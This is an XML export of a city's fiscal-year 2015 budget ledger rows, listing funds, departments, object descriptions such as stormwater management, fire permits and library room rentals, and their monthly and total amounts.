<row _id="14140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="14141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>569230.0</object><object_description>INTEREST ON SMURRF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>55262.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55262.0</total></row>
<row _id="14142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>400191.0</object><object_description>STREET PERFORMERS PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-47000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="14143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15270.0</total></row>
<row _id="14145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13743.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13743.0</total></row>
<row _id="14146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1120.0</total></row>
<row _id="14147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER REIMB</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1147521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1147521.0</total></row>
<row _id="14148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>864.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>315000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>315000.0</total></row>
<row _id="14149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1010493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1010493.0</total></row>
<row _id="14150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402490.0</object><object_description>WATER CAPITAL FACILITIES FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-400000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="14151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401520.0</object><object_description>SPECIAL PICK-UPS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="14152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405930.0</object><object_description>TRANSFER STATION - CITY DEPTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-273300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-273300.0</total></row>
<row _id="14153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402410.0</object><object_description>SELF-INSURANCE BUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2500000.0</total></row>
<row _id="14154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-36200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36200.0</total></row>
<row _id="14155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401630.0</object><object_description>LIBRARY COPIERS AND PRINTERS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-23000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23000.0</total></row>
<row _id="14156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51.0</total></row>
<row _id="14157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>31913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31913.0</total></row>
<row _id="14158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405020.0</object><object_description>SALE OF REFUSE BAGS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="14160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>400000.0</object><object_description>REVENUE</object_description><category_code>600.0</category_code><category_code_description>Revenue</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400670.0</object><object_description>FIRE PERMITS / FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-724500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-724500.0</total></row>
<row _id="14162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404810.0</object><object_description>REFUSE BINS - STORAGE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-67300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67300.0</total></row>
<row _id="14163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401640.0</object><object_description>LIBRARY MEETING ROOM RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-53000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-53000.0</total></row>
<row _id="14164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>49500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49500.0</total></row>
<row _id="14165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1982.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1982.0</total></row>
<row _id="14166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="14167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5233.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5233.0</total></row>
<row _id="14168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5523.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5523.0</total></row>
<row _id="14169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="14170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7768.0</total></row>
<row _id="14171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3639.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3639.0</total></row>
<row _id="14172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401280.0</object><object_description>VIDEO PLAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15396.0</total></row>
<row _id="14174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1061557.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1061557.0</total></row>
<row _id="14175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2400.0</total></row>
<row _id="14176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="14177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566820.0</object><object_description>SMMUSD JOINT USE AGREEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8659510.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8659510.0</total></row>
<row _id="14178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-236472.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-236472.0</total></row>
<row _id="14179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="14180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMBURSEMENT-HUMAN SVCS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-55000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55000.0</total></row>
<row _id="14181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FD REIMBURSEMENT FROM PIER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>194919.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194919.0</total></row>
<row _id="14182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1146938.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1146938.0</total></row>
<row _id="14183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="14184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-250000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-250000.0</total></row>
<row _id="14185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405550.0</object><object_description>DOMESTIC PARTNERSHIP FLNG FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400.0</total></row>
<row _id="14186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401360.0</object><object_description>GEN PROM BUS LICENSE MAIN ST.</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-6100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6100.0</total></row>
<row _id="14187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FUND REIMB FROM PIER FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-194919.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-194919.0</total></row>
